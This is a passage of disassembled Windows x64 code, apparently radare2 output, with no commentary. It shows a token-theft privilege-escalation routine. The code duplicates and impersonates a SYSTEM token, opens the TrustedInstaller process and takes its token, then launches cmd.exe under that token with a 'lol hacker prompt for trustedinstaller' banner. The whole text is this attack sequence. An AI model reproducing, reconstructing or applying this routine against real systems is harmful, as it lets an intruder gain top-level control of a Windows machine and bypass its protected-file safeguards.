mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011177
mov qword [rbp + 0xd68], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0xd70], eax
mov edx, dword [rbp + 0xd70]
mov rcx, qword [rbp + 0xd68]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov qword [rbp + 0xd78], rax
lea rdx, [0x140011082]
mov rcx, qword [rbp + 0xd78]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rbp + 0xc34], 1
lea rcx, [rbp + 0xd0]
call fcn.1400113f7
mov eax, dword [rbp + 0xc34]
jmp 0x14001d127
lea rax, [rbp + 0x408]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
mov dword [rbp + 0x408], 0x18
mov qword [rbp + 0x410], 0
mov dword [rbp + 0x418], 0
lea rax, [rbp + 0x438]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 2
mov r9d, 2
lea r8, [rbp + 0x408]
mov edx, 0x2000000
mov rcx, qword [rbp + 0x3e8]
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
jne 0x14001cbee
lea rdx, str.Failed_to_duplicate_token:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011177
mov qword [rbp + 0xd68], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0xd70], eax
mov edx, dword [rbp + 0xd70]
mov rcx, qword [rbp + 0xd68]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov qword [rbp + 0xd78], rax
lea rdx, [0x140011082]
mov rcx, qword [rbp + 0xd78]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rbp + 0xc54], 1
lea rcx, [rbp + 0xd0]
call fcn.1400113f7
mov eax, dword [rbp + 0xc54]
jmp 0x14001d127
lea rdx, str.brain_mush_toroken:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011177
mov qword [rbp + 0xd68], rax
mov rax, qword [rbp + 0x3e8]
mov qword [rbp + 0xd70], rax
mov rdx, qword [rbp + 0xd70]
mov rcx, qword [rbp + 0xd68]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
mov qword [rbp + 0xd78], rax
lea rdx, [0x140011082]
mov rcx, qword [rbp + 0xd78]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.ahaha_token_dup:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011177
mov qword [rbp + 0xd68], rax
mov rax, qword [rbp + 0x438]
mov qword [rbp + 0xd70], rax
mov rdx, qword [rbp + 0xd70]
mov rcx, qword [rbp + 0xd68]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
mov qword [rbp + 0xd78], rax
lea rdx, [0x140011082]
mov rcx, qword [rbp + 0xd78]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rbp + 0x438]
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
test eax, eax
jne 0x14001cd22
lea rdx, str.Failed_to_impersonate_logged_on_user:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011177
mov qword [rbp + 0xd68], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0xd70], eax
mov edx, dword [rbp + 0xd70]
mov rcx, qword [rbp + 0xd68]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov qword [rbp + 0xd78], rax
lea rdx, [0x140011082]
mov rcx, qword [rbp + 0xd78]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rbp + 0xc74], 1
lea rcx, [rbp + 0xd0]
call fcn.1400113f7
mov eax, dword [rbp + 0xc74]
jmp 0x14001d127
mov rcx, qword [rbp + 0x438]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x3e8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.We_are_now_system
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011177
mov qword [rbp + 0xd68], rax
lea rdx, [0x140011082]
mov rcx, qword [rbp + 0xd68]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r8d, dword [rbp + 0x154]
xor edx, edx
mov ecx, 0x440
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x458], rax
cmp qword [rbp + 0x458], 0
jne 0x14001ce04
lea rdx, str.Failed_to_open_process:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011177
mov qword [rbp + 0xd68], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0xd70], eax
mov edx, dword [rbp + 0xd70]
mov rcx, qword [rbp + 0xd68]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov qword [rbp + 0xd78], rax
lea rdx, [0x140011082]
mov rcx, qword [rbp + 0xd78]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rbp + 0xc94], 1
lea rcx, [rbp + 0xd0]
call fcn.1400113f7
mov eax, dword [rbp + 0xc94]
jmp 0x14001d127
lea rdx, str.handle_to_trustedinstaller_process:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011177
mov qword [rbp + 0xd68], rax
mov rdx, qword [rbp + 0x458]
mov rcx, qword [rbp + 0xd68]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
mov qword [rbp + 0xd70], rax
lea rdx, [0x140011082]
mov rcx, qword [rbp + 0xd70]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.trustedinstaller_pid_btw:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011177
mov qword [rbp + 0xd68], rax
mov edx, dword [rbp + 0x154]
mov rcx, qword [rbp + 0xd68]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov qword [rbp + 0xd70], rax
lea rdx, [0x140011082]
mov rcx, qword [rbp + 0xd70]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea r8, [rbp + 0x478]
mov edx, 0xf01ff
mov rcx, qword [rbp + 0x458]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x14001cf27
lea rdx, str.womp_womp_token_go_poo_poo__5access_deined_:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011177
mov qword [rbp + 0xd68], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0xd70], eax
mov edx, dword [rbp + 0xd70]
mov rcx, qword [rbp + 0xd68]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov qword [rbp + 0xd78], rax
lea rdx, [0x140011082]
mov rcx, qword [rbp + 0xd78]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rbp + 0xcb4], 1
lea rcx, [rbp + 0xd0]
call fcn.1400113f7
mov eax, dword [rbp + 0xcb4]
jmp 0x14001d127
lea rax, [rbp + 0x498]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
mov dword [rbp + 0x498], 0x18
mov qword [rbp + 0x4a0], 0
mov dword [rbp + 0x4a8], 0
lea rax, [rbp + 0x4c8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 2
mov r9d, 2
lea r8, [rbp + 0x498]
mov edx, 0x2000000
mov rcx, qword [rbp + 0x478]
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
jne 0x14001d005
lea rdx, str.Failed_to_duplicate_token_1:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011177
mov qword [rbp + 0xd68], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0xd70], eax
mov edx, dword [rbp + 0xd70]
mov rcx, qword [rbp + 0xd68]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov qword [rbp + 0xd78], rax
lea rdx, [0x140011082]
mov rcx, qword [rbp + 0xd78]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rbp + 0xcd4], 1
lea rcx, [rbp + 0xd0]
call fcn.1400113f7
mov eax, dword [rbp + 0xcd4]
jmp 0x14001d127
lea rax, [rbp + 0x4f0]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
mov dword [rbp + 0x4f0], 0x68
lea rax, str.Winsta0Default
mov qword [rbp + 0x500], rax
lea rax, [rbp + 0x578]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rax, [rbp + 0x578]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x4f0]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r9, str.cmd.exe__c_echo_lol_hacker_prompt_for_trustedinstaller__color_0a__cmd
xor r8d, r8d
mov edx, 1
mov rcx, qword [rbp + 0x4c8]
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW]
test eax, eax
jne 0x14001d107
lea rdx, str.Failed_to_create_process_with_token:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011177
mov qword [rbp + 0xd68], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0xd70], eax
mov edx, dword [rbp + 0xd70]
mov rcx, qword [rbp + 0xd68]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov qword [rbp + 0xd78], rax
lea rdx, [0x140011082]
mov rcx, qword [rbp + 0xd78]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rbp + 0xcf4], 1
lea rcx, [rbp + 0xd0]
call fcn.1400113f7
mov eax, dword [rbp + 0xcf4]
jmp 0x14001d127
mov rcx, qword [rbp + 0x4c8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, [rbp + 0xd0]
call fcn.1400113f7
jmp 0x14001d125
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x60]
lea rdx, [0x1400347d0]
call fcn.140011a50
mov rax, rdi
mov rcx, qword [rbp + 0xd90]
xor rcx, rbp
call fcn.1400115f0
lea rsp, [rbp + 0xda0]
pop rdi
pop rsi
pop rbp
ret